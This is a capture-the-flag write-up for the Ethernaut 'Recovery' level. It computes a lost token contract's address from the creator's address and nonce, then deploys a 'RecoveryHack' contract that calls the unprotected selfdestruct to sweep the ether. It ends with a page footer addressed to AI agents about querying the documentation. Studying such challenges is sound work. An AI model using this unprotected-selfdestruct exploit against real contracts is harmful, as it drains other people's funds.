# Recovery

## Description

A contract creator has built a very simple token factory contract. Anyone can create new tokens with ease. After deploying the first token contract, the creator sent `0.001` ether to obtain more tokens. They have since lost the contract address.

This level will be completed if you can recover (or remove) the `0.001` ether from the lost contract address.

## Background Knowledge

<https://medium.com/coinmonks/ethernaut-lvl-18-recovery-walkthrough-how-to-retrieve-lost-contract-addresses-in-2-ways-aba54ab167d3>

## Code Audit

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Recovery {

  //generate tokens
  function generateToken(string memory _name, uint256 _initialSupply) public {
    new SimpleToken(_name, msg.sender, _initialSupply);
  
  }
}

contract SimpleToken {

  string public name;
  mapping (address => uint) public balances;

  // constructor
  constructor(string memory _name, address _creator, uint256 _initialSupply) {
    name = _name;
    balances[_creator] = _initialSupply;
  }

  // collect ether in return for tokens
  receive() external payable {
    balances[msg.sender] = msg.value * 10;
  }

  // allow transfers of tokens
  function transfer(address _to, uint _amount) public { 
    require(balances[msg.sender] >= _amount);
    balances[msg.sender] = balances[msg.sender] - _amount;
    balances[_to] = _amount;
  }

  // clean up after ourselves
  function destroy(address payable _to) public {
    selfdestruct(_to);
  }
}
```

The contract `Recovery` creates a new instance of contract `SimpleToken`, and the developer lost this contract address. Our job is to recovery the address and take out 0.001 ether from it.

Behind the scene, the keyword `new` in Solidity uses the `CREATE` opcode in EVM. Recall that contract address generated by `CREATE` is **deterministically** computed. According to the [Yellow Paper](https://ethereum.github.io/yellowpaper/paper.pdf), the formula for computing such contract's address is:

```
address = rightmost_20_bytes(keccak(RLP(sender address, nonce)))
```

* `sender address` is just the challenge contract address. In my case it is 0x41D8b9C48319614aB97BF7d9dF1e052835bc21C6.
* `nonce` is a non-negative number that is incremented by 1 for each new contract creation. Nonce 0 is assigned to the creation of the challenge contract itself, so the token contract should have nonce 1.
* `RLP` **(Recursive Length Prefix)** is a serialization method used extensively across Ethereum's execution layer. The RLP encoding of a 20-byte address is: `0xd6, 0x94` . And for all integers less than `0x7f`, its encoding is just its own byte value. So the RLP of 1 is `0x01`.

Now we can compute the lost token contract address:

```solidity
address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xd6), bytes1(0x94), address(0x41D8b9C48319614aB97BF7d9dF1e052835bc21C6), bytes1(0x01))))))
```

The easiest way is computing this in `chisel` (it is installed when you install `foundry`):

<figure><img src="/files/OYE98rTIYUtuVtxbe3dZ" alt=""><figcaption><p>chisel</p></figcaption></figure>

Now we can finish coding the solution contract.

## Solution

**Step 1:** Copy and paste the content of contract `SimpleToken` to Remix and save it as `SimpleToken.sol`.

**Step 2:** Deploy the solution contract in Remix:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import './SimpleToken.sol';

contract RecoveryHack {
    address payable lostAddress = payable(address(0x3775e84A208fbef8B7F220F2565f719cC513aEdb));
    SimpleToken simpleToken = SimpleToken(lostAddress);

    function pwn() external payable {
        simpleToken.destroy(payable(<your_Metamask_wallet_address>));
    }
}
```

Note that Remix gives a warning on the **checksum** of the address we just computed. Just follow the instruction and modify it.

**Step 3:** Invoke `pwn()`.

## Summary

Contract addresses are deterministic and are calculated by `keccak256(address, nonce)` where the `address` is the address of the contract (or ethereum address that created the transaction) and `nonce` is the number of contracts the spawning contract has created (or the transaction nonce, for regular transactions).

Because of this, one can send ether to a pre-determined address (which has no private key) and later create a contract at that address which recovers the ether. This is a non-intuitive and somewhat secretive way to (dangerously) store ether without holding a private key.

An interesting [blog post](https://swende.se/blog/Ethereum_quirks_and_vulns.html) by Martin Swende details potential use cases of this.

If you're going to implement this technique, make sure you don't miss the nonce, or your funds will be lost forever.

## Further Reading

Learn more about RLP:

{% embed url="<https://ethereum.org/en/developers/docs/data-structures-and-encoding/rlp/>" %}
RLP
{% endembed %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ret2basic.gitbook.io/ctfwriteup/web3-ctf/ethernaut/recovery.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
